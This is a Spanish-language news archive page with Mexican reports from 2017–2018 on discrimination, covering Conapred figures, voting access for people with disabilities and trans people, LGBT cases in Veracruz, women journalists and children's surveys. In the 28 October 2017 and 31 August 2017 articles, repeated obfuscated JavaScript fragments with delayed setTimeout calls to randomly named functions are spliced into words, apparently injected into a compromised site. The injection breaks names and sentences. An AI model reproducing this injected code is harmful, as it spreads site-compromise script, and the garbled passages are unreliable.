Etiquetas: Discriminación


De 2012 a la fecha, Conapred ha atendido mil 500 casos de discriminación

10 julio, 2018

México. La presidenta del Consejo Nacional para Prevenir la Discriminación (Conapred), Alejandra Haas Paciuc, informó que de 2012 a la fecha, este organismo ha atendido mil 500 casos de discriminación contra personas con alguna discapacidad.

La discriminación es un problema estructural que se presenta de manera reiterada, no son hechos aislados, sino repetitivos que se realizan de manera involuntaria, excluyendo a las personas y a ciertos grupos, lo que constituye una vulneración a sus derechos fundamentales, explicó.

En el marco del Primer Encuentro Nacional de Mecanismos de Monitoreo de la Aplicación de la Convención de Derechos de las Personas con Discapacidad, detalló que la brecha salarial entre personas con y sin discapacidad de la misma edad, ocupación y preparación académica puede ser de hasta 151 por ciento.

Lo anterior, al recordar un estudio publicado por el Conapred en 2017, que reveló que por cada cien pesos que gana una persona con discapacidad, una persona sin discapacidad puede llegar a ganar 251 pesos.

Además, las mujeres con discapacidad enfrentan situaciones particulares que vulneran sus derechos, como lo muestra una encuesta efectuada entre habitantes de la Ciudad de México, en 2015, que arrojó que 42 por ciento de las entrevistadas habían sido sometidas a procedimientos de esterilización sin que estuvieran enteradas, añadió al dictar la conferencia No Discriminación.

Haas Paciuc refirió que uno de los mayores retos para eliminar la discriminación estructural hacia las personas con discapacidad es realizar diagnósticos más precisos que permitan elaborar políticas públicas funcionales que puedan ser evaluadas.

Para ello, se necesitan fuentes de información confiables, ya que aún no hay datos precisos, tal como sucede en materia laboral, pues sin datos desagregados por población, será difícil que se atiendan los problemas más urgentes que enfrenta este sector de la sociedad.

En este marco, indicó que las Comisiones Estatales de Derechos Humanos deben relacionarse y consultar a las personas con discapacidad para atender sus necesidades más apremiantes y lograr su empoderamiento.

Fuente: Notimex


Esperan activistas se eviten actos de discriminación el 1 de julio

22 mayo, 2018

Yhadira Paredes. Xalapa. Se espera que con todas las acciones que se llevan a cabo desde el Instituto Nacional Electoral (INE), el Organismo Público Local Electoral (OPLE) y organizaciones civiles, se evite que las personas con discapacidad o transgénero sufran algún inconveniente para ejercer su derecho a votar este 1 de julio.

En entrevista en el marco del Foro “Los derechos político-electorales de las personas con discapacidad”, la activista social Silvia Susana Jácome destacó que se está trabajando para evitar la colocación de casillas en lugares inaccesibles para personas con sillas de ruedas o discapacidad visual.

Asimismo, indicó que el INE, en colaboración de otras instancias como el OPLE y el Tribunal Electoral de la Federación, elaboraron también un documento para evitar la violencia política por razón de género.

“Hemos platicado también del protocolo para que las personas transgénero podamos votar en igualdad de condiciones; es una serie de acciones que se han ido tomando para favorecer a estos grupos que históricamente han sido discriminados, personas trans, personas con discapacidad, mujeres para construir una democracia plena”.

Y es que, dijo, no se puede entender una democracia en donde siga existiendo discriminación.

Finalmente, indicó que es necesario que la gente en general conozca este tipo de acciones y poder utilizar los instrumentos existentes.


Personas con discapacidad difunden derecho al voto sin discriminación

16 abril, 2018

México. Con el fin de garantizar el ejercicio del voto informado de unos cuatro millones de personas mayores de 18 años con discapacidad, a partir de este lunes se difundirán, principalmente a través de redes sociales, las capsulas informativas “Elecciones sin Discriminación”.

En conferencia de prensa, se explicó que esos materiales fueron hechos por el Instituto Nacional Electoral (INE) en colaboración con el Consejo Nacional para Prevenir la Discriminación (Conapred), la Coalición Mexicana por los Derechos de las Personas con Discapacidad (Coamex) y el Consejo Nacional para el Desarrollo y la Inclusión de Personas con Discapacidad (Conadis).

La consejera del INE, Dania Ravel, destacó que el objetivo es que todas las personas que tengan una discapacidad puedan acudir a votar, y que no sea una limitante para el derecho que tienen a emitir su sufragio.

“Todas tiene que poder ir a votar y nosotros, como autoridad electoral, tenemos que garantizar que así ocurra”, afirmó al destacar que se tienen que trasladar los logros de la legislación a la realidad, al igual que lo suscrito por México en tratados internacionales sobre inclusión.

Señaló que se prevén instalar 157 mil casillas electorales, pero aún se trabaja en donde van a ubicar las casillas y se privilegian lugares que ya sean accesibles, y si no se encontrarán, como podrían ser algunas zonas rurales, se tendría que hacer, de acuerdo al reglamento de elecciones, adecuaciones con la anuencia del dueño del inmueble, para poder poner rampas.

Por su parte, la titular de Conadis, Mercedes Juan, puntualizó que de acuerdo con la Encuesta de Dinámica Demográfica 2014 del INEGI, existen 7.1 millones de personas con discapacidad en México, de los cuales más de 50 por ciento son adultos, por lo que “estamos hablando de alrededor de cuatro millones de personas con discapacidad que puedan ejercer su voto”.

Al hacer la presentación de las cápsulas, la consejera Dania Ravel destacó las arduas tareas que se realizan como es un diálogo inclusivo, y por ello desde el INE se han decidido y dedicado los esfuerzos para que la función electoral coadyuve a tener una construcción de una cultura de la igualdad y la no discriminación.

Informó que el INE ha emprendido diversas acciones y medidas como es el Protocolo para garantizar a las personas con discapacidad puedan fungir como funcionarios de mesa directiva de casilla, y también el instituto ha hecho materiales para garantizar que las personas con discapacidad puedan ejercer su voto el día de la Jornada Electoral el 1 de julio de 2018, sin ningún tipo de limitante, ni discriminación.

“El protocolo que les menciono es novedoso, las medidas para elaborar materiales electorales incluyente ya tienen la mayoría de ellas más de 10 años. Este protocolo lo acabamos de hacer el año pasado, y por primera vez se va aplicar en unas elecciones federales”, informó.

También se llevó a cabo el protocolo para que las personas trasvestis, transexuales y transgénero puedan emitir su voto en igualdad de condiciones y libres de discriminación el día de la jornada electoral.

“Básicamente se centra en una medida este protocolo: permitir que las personas puedan manifestar su expresión de género y que esto no se convierta en un obstáculo para que el día de la jornada electoral ejerza su voto”, precisó.

Y también se establecieron las cuotas indígenas en los criterios de registro de candidaturas y de coaliciones, ya que en el INE se detectaron 28 distritos de ese tipo por el tipo de población preponderantemente, por lo que se decidió que por lo menos en 13 de ellos se tendrían que postular por parte de los partidos políticos a personas indígenas.

“Pero no solamente eso focalizamos el principio paridad de género en estas postulaciones, siendo conscientes que si las personas indígenas, los hombres en particular, suelen tener una subrepresentación, las mujeres están expuestas a una doble o triple vulneración de sus derechos.

“Por eso decidimos garantizar que haya mujeres indígenas postuladas, y con esto garantizar la próxima integración de la Cámara de Diputados tengamos una representación de personas indígenas”, dijo la consejera del INE.

En su oportunidad, la presidenta del Conapred, Alejandra Haas, destacó la colaboración que han tenido con el INE para lograr la inclusión y garantizar el derecho a voto a las personas con discapacidad.

“Realmente nos complace en Conapred poder colaborar con el INE en el lanzamiento de estas capsulas que son una herramienta, un elementos de comunicación más que se suma a muchas otras herramientas legales, protocolos y otro tipo de productos que han creado de manera conjunta para difundir la posibilidad de tener unas elecciones sin discriminación, unas elecciones que puedan superar las barreras que provoca la desigualdad en el acceso a los derechos de todas las personas”, destacó.

Finalmente, la titular de Conadis, Mercedes Juan, destacó acciones para la inclusión de este sector de la población, ya que se contará en las casillas con adecuaciones para las personas con discapacidad motora, como rampas, personas asistentes, folletos y materiales en braille, para que sufraguen.

“Agradezco al INE el que nos hayan invitado a Conadis a formar parte de este trabajo de no discriminación en el tema de personas con discapacidad”, reiteró al destacar que con estas cápsulas se fomenta que haya la inclusión social de las personas con discapacidad motora, sensorial, visual o auditiva, así como intelectual o psicosocial.

Fuente: Notimex


Conapred determinará si publicación de José Abella es “discriminatorio”

13 abril, 2018

Isabel Ortega. Xalapa. El Consejo Nacional para Prevenir La Discriminación (Conapred), deberá evaluar si lo publicado por el candidato del Verde a la diputación federal de Córdoba, José Abella, en su red social, Facebook, es discriminatorio.

La diputada local Guadalupe Osorno calificó como “terrible” lo que posteó el abanderado partidista, quien invitó a las mujeres “gordas y fodongas” a hacer campaña con él, para bajar de peso, pues en dos semanas ya había perdido 2.5 kilogramos, al hacer recorrido para pedir el voto.

Al opinar lo dicho por el dueño del Periódico el Buen Tono expresó: “De entrada es un acto discriminatorio y lo tendrían que evaluar ciertos organismos que están en contra y se podría hacer una denuncia hacia allá”.

La diputada de Morena consideró que de igual forma se podría recurrir a un Procedimiento Especial Sancionador (PES), ya que el comentario se dio en el marco de la campaña a la diputación federal, por lo que las autoridades electorales podrían tomar cartas en el asunto.

José Abella publicó en su cuenta de Facebook: “A esas mujeres que su esposo está a punto de dejarlas por gordas y fodongas, que no son capaces de bajar kilos, ni yendo a bailar a Chalma, vengan conmigo a caminar! Yo ya baje 2.5 kgs en dos semanas! Camina con ©elYoMerolas del Verde y vuelve a tener ese hermoso cuerpo!

“Es terrible que sigamos teniendo este tipo de pensamiento machista, que justo la lucha que tenemos que hacer por el derecho de las mujeres, no tiene que ver ni con posición política, ni condición socioeconómica”.

Recordó que las autoridades electorales han generado protocolos para garantizar una contienda igualitaria y de respeto tanto de hombres como mujeres.


Se registran al mes 20 casos de discriminación a comunidad LGBT en Veracruz

23 marzo, 2018

Juan David Castilla Arcos. Xalapa. Al menos 20 casos de discriminación contra integrantes de la comunidad Lésbico, Gay, Bisexual, Transgénero, Transexual, Travesti e Intersexual (Lgbttti) se registran al mes en Veracruz.

Así lo reveló la presidenta de Orgullo Veracruzano, Dulce Miriam Meléndez, quien añadió que del total sólo una o dos víctimas acuden a la Fiscalía General del Estado (FGE) para interponer la denuncia correspondiente.

“Lo que pasa es que la misma sociedad no permite que hagas una denuncia, si tú va su pones la demanda porque te agredieron y eres trans, no procede, porque lamentablemente las leyes de Veracruz no amparan a la comunidad trans”.

La entrevistada detalló que la comunidad Lgbttti continúa en pie de lucha pata que en la entidad veracruzana no sean pisoteados los derechos humanos.

Y es que son comunes los casos de actos discriminatorios contra estas personas, sobre todo en el ámbito laboral.

“Registrados oficialmente no tenemos muchos casos por lo mismo de que no se presta, pero la gente se acerca a los grupos y nos dicen, es que sabes qué me agredieron en el trabajo, me corrieron porque soy travesti, me corrieron por esto, por aquello, son como 20 casos al mes y son los más cercanos a nuestras amistades”.

Dulce Meléndez recordó que la FGE “acostumbra” dar carpetazo a las averiguaciones previas o carpetas de investigación iniciadas por agresiones.

“Aquí en Xalapa está tranquilo, pero lo que es Lerdo de Tejada y otras ciudades están muy poco preparadas para poder convivir con las personas”, culminó.


Elecciones 2018 serán las más incluyentes en la historia de México: INE

12 marzo, 2018

México. Con más herramientas que promueven la participación de las comunidades indígenas, transexual, personas con discapacidad, así como la paridad de género en las candidaturas, las elecciones del próximo 1 de julio serán las más incluyentes en la historia del país, aseguró Mónica Maccise Duahye, directora de la Unidad de Igualdad de Género y No Discriminación del Instituto Nacional Electoral (INE).

“Es muy importante plantear este tema dado que en este proceso electoral se van a elegir al menos 18 mil cargos de representación popular, de los cuales por la paridad serán nueve mil mujeres las que serán postuladas”, señaló.

Maccise dijo que en este proceso electoral el INE ha querido tener unas elecciones sin discriminación, un proceso que ha llevado mucho tiempo y que se inició hace varios años.

“Lo que el INE ha hecho es ir estableciendo ciertas medidas de inclusión con el fin de que toda la ciudadanía, independientemente de sus características, pueda ejercer el voto en condiciones de igualdad”, aseveró.

Comentó que para lograr una mayor representación de los pueblos indígenas en cargos de representación popular, en noviembre de 2017 se adoptó que los partidos políticos debían postular formulas integradas por personas que se reconozcan como indígenas en al menos 12 de los 28 distritos con población indígena.

“Con eso nos vamos a asegurar que al menos 12 personas que se autodescriban como indígenas y que tengan un vínculo comunitario puedan entrar. Esto fue controvertido por los partidos políticos porque la situación se les complica, ahora tienen que buscar a personas indígenas para postular en esos distritos pero el Tribunal Electoral validó estas medidas del INE”, indicó.

Mónica Maccise señaló además que con el fin de garantizar que las personas transexuales puedan ejercer su derecho al voto, los consejeros convinieron que este sector pueda ir a sufragar aunque su credencial para votar y su foto no coincidan con su identidad de género que tengan al momento de acudir a las urnas.

“Lo que pasa con las personas trans es que se les asigna cierto sexo al nacer pero lo que resulta es que no se asumen con esa identidad que está marcado en el sexo. Las personas trans tiene que pasar por procesos muy problematizados de actualizar sus papeles, actas de nacimiento, certificados de estudio”, lamentó.

Dejó claro que las personas trans aun cuando no hayan podido actualizar sus datos en términos de su sexo, así como su fotografía para que coincida con su identidad de género que portan actualmente, pueden ir a votar, ya que “para eso se aprobó un protocolo que va a ser objeto de la capacitación que se les va a dar a los funcionarios de casilla”.

Por otra parte, Maccise señaló que el INE implementó varias medidas para garantizar el derecho al voto de las personas con alguna discapacidad, ya que en México aproximadamente el cinco por ciento de la población está en esta condición.

Primero, indicó, que las personas con discapacidad pueden ser funcionarios de casilla, para que reciban sus vecinos y también hagan el conteo de votos, por lo que podrán contar con la asistencia de los Capacitadores Asistentes Electorales (CAE) durante toda la jornada.

Además, abundó, el INE busca los mejores lugares para que las personas con capacidades diferentes puedan acceder a ejercer su derecho, y son generalmente las escuelas donde se instalan las mesas directivas de casilla.

Maccise señaló que para quienes tienen alguna discapacidad visual se ha establecido en todas las casillas una plantilla Braille, para que este sector pueda leer quiénes son las y los candidatos y por qué partido político van a votar.

También, dijo, hay una urna móvil donde las personas que van en una silla de rueda pueden emitir su sufragio sin necesidad de que se paren.

Maccise señaló que en el INE están haciendo un esfuerzo para conocer, por un lado cuántos candidatos y candidatas se postulan y que forman parte de los grupos tradicionalmente discriminados; por otro lado, para que en algún momento de la historia se pueda identificar a los votantes por algunas de estas características.

La directora de la Unidad de Igualdad de Género y No Discriminación aseveró que la inclusión de todos los grupos vulnerables del país ha avanzado mucho desde 2012.

“En 2012 no teníamos la cuota indígena y ahora la vamos a ponerla a prueba; en 2012 no teníamos un protocolo para que las personas con discapacidad pudieran ser funcionarios de casilla, tampoco teníamos un mecanismo para poder hacer que las personas trans pudieran votar aun cuando su credencial para votar no coincida con su identidad de género”, insistió.

La elección tiene tintes muy concretos de que será una elección más incluyente, donde haya mayor participación de estos grupos que han sido tradicionalmente vulnerados, finalizó.

Fuente: Notimex


Periodistas veracruzanas en situación de vulnerabilidad: Ceapp

10 marzo, 2018
Arturo Arellano. Xalapa. En Veracruz, las mujeres periodistas sufren no sólo condiciones de vulnerabilidad sino además discriminación laboral, agresiones y acoso sexual, reprochó la presidenta de la Comisión Estatal de Atención y Protección a Periodistas (Ceapp), Ana Laura Pérez Mendoza. 
 
Indicó que más del 50 por ciento de las periodistas no cuenta con casa propia y 73 por ciento no accede a prestaciones laborales.
 
“Desafortunadamente vemos que las mujeres hablan muy poco de eso, no es que no suceda, el problema es que no se habla de eso” refirió la defensora.
 
Puso de ejemplo el sueldo de las periodistas, en donde un 54 por ciento de las mujeres en la entidad gana menos de 5 mil pesos mensuales; lo cual equivale a menos del salario mínimo profesional.
 
Además, Pérez Mendoza dijo que la mayoría de las víctimas no quiere denunciar o hablar públicamente del tema por temor a ser señalada, revictimizada o incluso a perder el trabajo.
 
“Se debe al temor de perder el trabajo, de ser mal vista y revictimizada porque cuando una mujer se queja de este tipo de situaciones en lugar de analizar el tema, se dice que ‘seguramente lo provocó’, ‘seguramente quiere llamar la atención’, y el temor a tener esta reacción inhibe que las mujeres hablen de estos temas”, aclaró.
 
Por lo anterior, señaló que existen condiciones de vulnerabilidad para las reporteras; sumado a que los altos puestos en medios de comunicación lo acaparan varones, en un 75 por ciento.
 
“Hay muchos casos de discriminación, el 27 por ciento lo ha sufrido en el trabajo; y un 26 por ciento víctimas de violencia laboral”  finalizó.
 

Estudio revela que desinformación e ignorancia provocan discriminación 

28 octubre, 2017

 

México. De acuerdo con el Consejo Nacional para Prevenir la Discriminación (Conapred), se puede definir a dicha práctica como el trato desfavorable o de desprecio a ciertas personas o grupos minoritarios.

Para saber lo que piensan los mexicanos sobre la discriminación en nuestro país, la casa encuestadora De Las Heras Demotecnia realizó un estudio donde 4% de los encuestados aceptó haber discriminado a otra persona por diversos motivos.

El 83% de los mexicanos que respondieron a las preguntas consideró que existe un alto nivel de discriminación en nuestro país; el 54% cree que este problema se debe a la falta de información y a la ignorancia y el 22% opinó que las personas que discriminan lo hacen porque así fueron educados.

Respecto a la discriminación laboral y su relación con las oportunidades de trabajo entre hombres y mujeres, el 29% de los encuestados dijo que preferiría contratar a una mujer que a un hombre.

Por otra parte, 51% de los participantes señaló que no le importaría la preferencia sexual de las personas que buscan empleo, sin embargo, sólo 7% aceptaría a un homosexual dentro de su organización.

Además, 26 % de los encuestados dijeron que preferirían contratar a una persona heterosexual, mientras el resto indicó que la contratación sólo dependería de las habilidades de la persona.

Entre los datos reveladores de la encuesta está que al 50% de los participantes no les agradan los homosexuales; el 11% considera que este grupo tiende a propasarse con los demás y un 9% indicó que un homosexual no puede hacer el trabajo de un heterosexual.

Otro de los temas relevantes en cuanto a discriminación es el que se refiere a las personas con discapacidad, pues esta encuesta reveló que al 29% de las personas encuestadas no les importa la condición de las personas que solicitan el empleo.

24% refirió que preferiría contratar a una persona con alguna discapacidad física y el 31% dijo que todo dependería de la situación.

No obstante, cuandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}o se preguntó por qué sería preferible trabajar con una persona sin discapacidad, el 62% consideró que pueden hacer mejor el trabajo, mientras que el 14% indicó que a ellos no hay que darles un trato “especial o diferente”.

Fuente: AlMomento.Mx


Escuelas, lugar donde los niños sufren más discriminación

4 septiembre, 2017

México. En el salón de clases los niños y adolescentes aprenden, conviven, se relacionan; sin embargo, es donde ellos experimentan a diario una discriminación normalizada, en especial quienes son de piel morena, tienen alguna discapacidad o provienen de comunidades indígenas.

Por primera vez, 27 mil 640 niñas, niños y adolescentes mexicanos -55 por ciento mujeres y 45 por ciento hombres- respondieron una encuesta sobre el ejercicio de sus derechos, mediante la cual las autoridades obtendrán ideas para soluciones en materia de política pública.

Así, a fin de cumplir los ordenamientos de la Convención sobre los derechos del Niño de las Naciones Unidas, el Sistema Nacional de Protección Integral de Niñas, Niños y Adolescentes (SIPINNA) llevó a cabo la primera encuesta para conocer la opinión de este sector de la población.

La Convención sobre los Derechos del Niño de las Naciones Unidas, adoptada en 1989, contiene varios principios que sustentan todos los demás derechos de la infancia: la no discriminación, el interés superior, el derecho a la supervivencia y el desarrollo, y la opinión del niño.

De ahí que surgiera este ejercicio, denominado Encuesta OpiNNA 01–Juguemos en las Calles, que estuvo abierto en la Plataforma Participa de Gob.Mx entre el 25 de abril y 15 de mayo de este año.

En un cuestionario de 15 preguntas, en cuatro de ellas se plantearon a los encuestados datos sociodemográficos y 11 de temas, entre ellos discriminación y discapacidad.

Por rangos de edad, 45 por ciento de los que participaron tienen de nueve a 11 años, y 31 por ciento de 12 a 14 años, mientras que por grado escolar 57 por ciento de los que respondieron cursaban de cuarto a sexto de primaria.

De acuerdo con los resultados, 56 por ciento de los niños, niñas y adolescentes dijeron que la discriminación sucede todos los días en su escuela, es decir, esa práctica está ya normalizada.

El grupo que experimenta esa situación es el de quienes tienen un color de piel diferente, pues 40 por ciento manifestó que quienes viven más la discriminación son aquellos que tienen la piel morena; seguido de los que tienen alguna discapacidad, con 24 por ciento; y los indígenas, con 16 por ciento.

También en el sondeo se preguntó por qué creen que a algunos niños, niñas y adolescentes que viven con discapacidad los tratan mal en varios lugares, a lo que 45 por ciento respondió como causa que no les han enseñado a convivir con ellas y ellos.

Además, 24 por ciento dijo que no hay interés en ellas y ellos, y señalaron que las personas que usan sillas de ruedas tienen muchos obstáculos para desplazarse en calles, escuelas y parques.

“El maltrato y la escasez de medidas de nivelación surge de que socialmente se ha marcado una distancia social con esta población: políticas no inclusivas, poca socialización e interés en ellas y ellos”, reveló el estudio.

De ahí que los encuestados consideraron que para tratar mejor a las personas con discapacidad se les debe enseñar a convivir más con ellas y ellos, así como adecuar todos los espacios para que puedan desplazarse, y tener así una mejor convivencia.

Veracruz, Puebla, Tlaxcala, Estado de México, Ciudad de México, Baja California, Nuevo León y Chiapas son los estados de donde se obtuvo la mayor cantidad de respuestas, aunque participaron todas las entidades de la República mexicana.

La encuesta busca reconocer y aceptar el juicio propio de niñas, niños y adolescentes de acuerdo a su edad, madurez y desarrollo cognitivo; y colocar su voz como parte de la opinión pública que necesariamente debe ser escuchada y convertida en acciones públicas

En México hay 32.8 millones de niñas, niños y adolescentes menores de 15 años de edad, que representan 27 por ciento de la población total, de acuerdo con la Encuesta Intercensal 2015 del Instituto Nacional de Estadística y Geografía (Inegi).

El Consejo Nacional para Prevenir la Discriminación (Conapred) destaca que la discriminación que enfrenta ese sector de la población en México es estructural, y se debe fundamentalmente a sus procesos de formación y desarrollo, así como a la relación de poder que sostienen con otras personas para tener acceso a sus derechos reconocidos.

Durante muchos años no fueron reconocidos como titulares de derechos y, a pesar de que existe una legislación que los protege, “todavía se considera a la niñez como una fase previa a la adultez; en consecuencia, sus derechos todavía se ponen en tela de juicio cotidianamente”, destacó.

El SIPINNA recalcó que la participación debe ser un proceso permanente de expresión libre e intervención activa a través del cual ellas y ellos pueden opinar, ser escuchados y tomados en cuenta sobre todos los asuntos que impactan en cualquiera de los ámbitos de su vida.

Por ello, se creó OpiNNA, un mecanismo permanente y sistemático que implementa el sistema en el ambiente digital con la colaboración de Estrategia Digital Nacional de Presidencia de la República y Comunicación Digital de la Secretaría de Gobernación.

Fuente: Notimex


Discriminación impide el desarrollo del país: Conapred

31 agosto, 2017

México.  La discriminación está en el centro de nuestra vida pública y nos impide desarrollarnos como país, reconoció la presidenta del Consejo Nacional para Prevenir la Discriminación (Conapred), Alexandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}ra Haas  Paciuc.

Además, este fenómeno no sólo afecta a grupos en condición de vulnerabilidad, minoritarios y específicos, sino que muchas personas en el país también lo enfrentan..

Indicó, por ello, que el objetivo del levantamiento de la Encuesta Nacional sobre Discriminación (ENADIS) 2017 -que inició el 21 de agosto y concluirá el 13 de octubre- es reconocer cuál es la magnitud de la discriminación y cómo se mantiene en la vida cotidiana.

Lo anterior, anotó, “profundizandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}o también en quiénes son discriminados y quiénes discriminan (…) y la diferencia con otras encuestas es que vamos a levantar información sobre experiencias concretas de discriminación y no solo de percepción”.

Haas Paciuc señaló que la ENADIS 2017 se realizará en zonas urbanas y rurales de las 32 entidades federativas del país.

“Va a ser una representatividad nacional y regional, pero a nivel estatal, el tamaño de las muestras va a ser más grandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}e para algunas entidades federativas que se sumaron al proyecto para tener resultados propios, como son Guanajuato, Hidalgo, Michoacán, Morelos, Oaxaca, Tabasco, Tlaxcala y Veracruz”, apuntó.

A su juicio, la encuesta permitirá generar indicadores para formular políticas públicas con perspectiva antidiscriminatoria en áreas como la salud, el trabajo, el desarrollo social, derechos humanos. Además, en lo relativo al combate a la pobreza, la cultura, la participación ciudadana y el goce de derechos civiles y políticos, entre otros.

“Muchas veces lo que ocurre con el tema de la discriminación es que la intuimos, la percibimos, pero no tenemos mucha información sobre cómo se da regionalmente, cuáles son los grupos más discriminados en algunos lugares del país, dependiendo de la situación sociodemográfica del lugar o qué tan enraizado está el fenómeno”, indicó.

El proyecto es producto de la alianza del Conapred con el Instituto Nacional de Estadística y Geografía (INEGI), la Comisión Nacional de los Derechos Humanos (CNDH), la Universidad Nacional Autónoma de México (UNAM) y el Consejo Nacional de Ciencia y Tecnología (Conacyt).

Así, mediante una muestra aleatoria de 39 mil viviendas distribuidas en zonas rurales y urbanas de las 32 entidades federativas del país, la ENADIS tendrá como objetivo generar información estadística para medir la magnitud, causas y expresiones de la discriminación en México.

Esto es, anotó la titular del Conapred, “va a tener preguntas sobre prejuicios y estereotipos vinculados a las personas de la diversidad sexual, migrantes extranjeros, de la diversidad religiosa, indígenas y afrodescendientes, con discapacidad, niñas y niños, adolescentes, jóvenes”.

También permitirá conocer las prácticas, percepciones y actitudes de la población mexicana respecto a este problema social, y recolectará información relativa a las principales problemáticas y experiencias de discriminación en los ámbitos familiar, laboral, educativo y público, señaló.

Otros indicadores que se conocerán son los relativos a grupos históricamente discriminados, como son las mujeres, niñas y niños, adolescentes y jóvenes, personas mayores, con discapacidad, e indígenas y con diversidad religiosa.

Mencionó que la discriminación se refleja no solo en la vulneración de derechos de personas, que implica un diferencial de oportunidades y de logros personales, sino que constituye uno de los grandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}es retos nacionales, puesto que afecta al desarrollo y a la prosperidad del país.

Alejandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}ra Haas manifestó que la encuesta concretamente es una entrevista “con una batería de preguntas al interior de los hogares”.

Finalmente, dijo que “el ejercicio de entender la discriminación es reciente (…) La discriminación está en el centro de nuestra vida pública y nos impide desarrollarnos como país”.